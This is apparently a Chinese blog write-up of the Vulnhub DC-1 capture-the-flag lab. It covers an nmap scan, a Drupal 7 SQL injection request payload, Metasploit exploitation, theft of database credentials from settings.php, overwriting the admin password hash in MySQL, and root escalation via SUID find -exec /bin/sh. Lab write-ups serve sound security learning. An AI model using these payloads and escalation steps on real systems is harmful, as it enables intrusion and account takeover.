一、信息收集

  1.1 环境

    kali : 192.168.124.141

    DC-1 : 192.168.124.150

  1.2 nmap进行扫描 :nmap -sV 192.168.124.150

IP : 192.168.124.150
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:17:19:2E (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  发现有22端口 ,先拿hydra爆破发现也没爆破出来 。

  登录web页面 看看有没有有用,发现web指纹。

  搜索了一下发现Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包发到repeater模块,经过证实是可以使用user(),database()等内置函数的,但是后续进行爆表爆字段发现注入失败,一直在报错。

POST /node?destination=node HTTP/1.1
Host: 192.168.124.150
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.124.150
Connection: keep-alive
Referer: http://192.168.124.150/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

上面手注无果,不过已经是知道有SQL注入漏洞了,看前辈文章提示发现可以利用Metasploit。

kali利用msf过程:

选择这个存在SQL注入的攻击模块

run执行,之后获得一个shell环境

之后执行python脚本获得一个类似于terminal环境的shell

当前权限为www-data ,同时当前目录下有flag1

获得flag1:Every good CMS needs a config file - and so do you.

根据提示需要看配置文件,但是看web.config后没发现有用的地方,查看前辈文章,发现需要找类似于settings.php的文件或者config.php的文件,那就进行模糊查找看看。

find -name '*set*.php'

发现应该是 sites/default/settings.php

cat看一下。获得flag2;获得MySQL数据库账号密码。

连接数据库看一下,mysql -u dbuser -p

R0ck3t

进入数据库,那就脱裤看看 (刺激:) )

就俩库,应该是drupaldb里应该有什么值得鼓捣的东西

发现里面有个users表,查看一下表里的内容

应该是web页面的登陆账号密码,但是密码进行了特殊加密。此时卡住 Orz

看前辈文章得知需要知道drupal加密的方式,将自己进行加密后的密码放到数据库里,或者直接修改已存在的用户的密码。

通过查询发现:

加密方式文件为: /includes/password.inc

加密文件(可执行)为: /scripts/password-hash.sh

利用方式:

执行

./password-hash.sh password

即可获得加密过的password

PS:此处需要提前将includes目录全部复制到scripts目录下才可进行加密

进入scripts目录,执行: cp -r ../includes ./

加密 123     ./password-hash.sh 123

修改admin用户的密码为123:

数据库中执行

update users

Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr'

where name='admin'; 

修改好后即可用123登录web界面,瞎点了点发现了flag3

flag3:

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

此处提示提到了 shadow文件 和exec命令

Shadow肯定是没权限看了,先看看passwd吧

发现flag4,进入/home/flag4目录下发现flag4.txt

根据提示,想拿最后flag需要root权限,所以还是需要提权。

根据前辈提示此处需要进行SUID提权 ,结合之前的flag所以应该是结合find命令和-exec     ---Orz

SUID提权原理:如果find本身具有suid的权限,因此通过find执行的命令就是root权限。

关于SUID:SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUID提权:

 https://www.cnblogs.com/junsec/p/11652723.html

首先执行

find / -perm -u=s -type f 2>/dev/null  查找suid文件

命令解释:

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

利用find命令进行SUID 提权:

利用方式:find ./ aaa -exec '/bin/sh' \;

已提升到root权限,拿到final flag

 总结:

0x01:信息收集,22扫描爆破无果;扫描web指纹发现drupal7存在sql漏洞
0x02:利用metasploit并配合python脚本弹shell
0x03:依据flag1提示,找到setting配置文件获得mysql数据库账号;拿到flag2
0x04:根据前辈提示获取drupal数据库加密方式添加/修改 获得web页面账号
0x05:在web页面拿到flag3 根据提示需要利用find -exec shadow等进行进一步渗透
0x06:查看passwd文件看到flag4用户,在home/flag4拿到flag4得知必须要提权至root
0x07:根据前辈的文章提示需要利用SUID进行提权,利用find提权之后拿到最终flag

后续:

由于想了解msf是怎样建立shell的,特地去重新抓包:(下面纯属小白个人理解,欢迎大佬评论指正)

攻击流量:

通过解码分析,是通过insert into 插入数据,数据内容为php代码,应该是写入了木马。

 

												

【Vulnhub】DC-1靶机的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  7. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  10. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

随机推荐

  1. Spring:Spring-IOC容器、DI依赖注入简介

    Spring容器到底是什么? 从概念上讲:Spring 容器是 Spring 框架的核心,是用来管理对象的.容器将创建对象,把它们连接在一起,配置它们,并管理他们的整个生命周期从创建到销毁. 从具象化 ...

  2. awk中printf的用法

    printf函数   打印输出时,可能需要指定字段间的空格数,从而把列排整齐.在print函数中使用制表符并不能保证得到想要的输出,因此,可以用printf函数来格式化特别的输出. printf函数返 ...

  3. 从2021强网杯的一道题学习docx文件操作

    [强网先锋]寻宝 啊对就是这道题,大佬们都贼快,菜如我还得慢慢整 key1 大佬们都一笔带过,哎,虽然简单,但是也别这么虐我们啊 我来简单写一下吧 <?php header('Content-t ...

  4. ARTS第九周

    1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评至少一篇英文技术文章3.Tip:学习至少一个技术技巧4.Share:分享一篇有观点和思考的技术文章 以下是 ...

  5. java基础---java8后新特性

    1. java9 新特性 模块化的使用 减少内存的开销. 可简化各种类库和大型应用的开发和维护. 安全性,可维护性,提高性能. 在 module-info.java 文件中,我们可以用新的关键词mod ...

  6. python 读注册表 检测NET版本

    from winreg import * import re def subRegKey(key, pattern, patchlist): # 个数 count = QueryInfoKey(key ...

  7. Java基础00-多线程28

    1. 实现多线程 1.1 进程 1.2 线程 1.3 多线程的实现方式(方式一:继承Thread类) 代码示例:定义类MyThread: //1:定义一个类MyThread继承Thread类 publ ...

  8. python基础之while语句操作

    # i = 0# while (i < 9):# print("i ----> ",i)# i = i + 1# print(i,"i即将大于或者等于9,wh ...

  9. pip3 pip 安装包 临时更换镜像地址

    在使用pip3或者pip安装某些第三方包的时候,可能会遇到网络原因导致的安装失败. 可以在安装第三方包的时候临时指定镜像地址. 命令: pip3 install 库名 -i 镜像地址 例如:# pip ...

  10. DOS 常用命令集

    net use $">\\ip\ipc$Content$nbsp;" " /user:" " 建立IPC空链接 net use $"& ...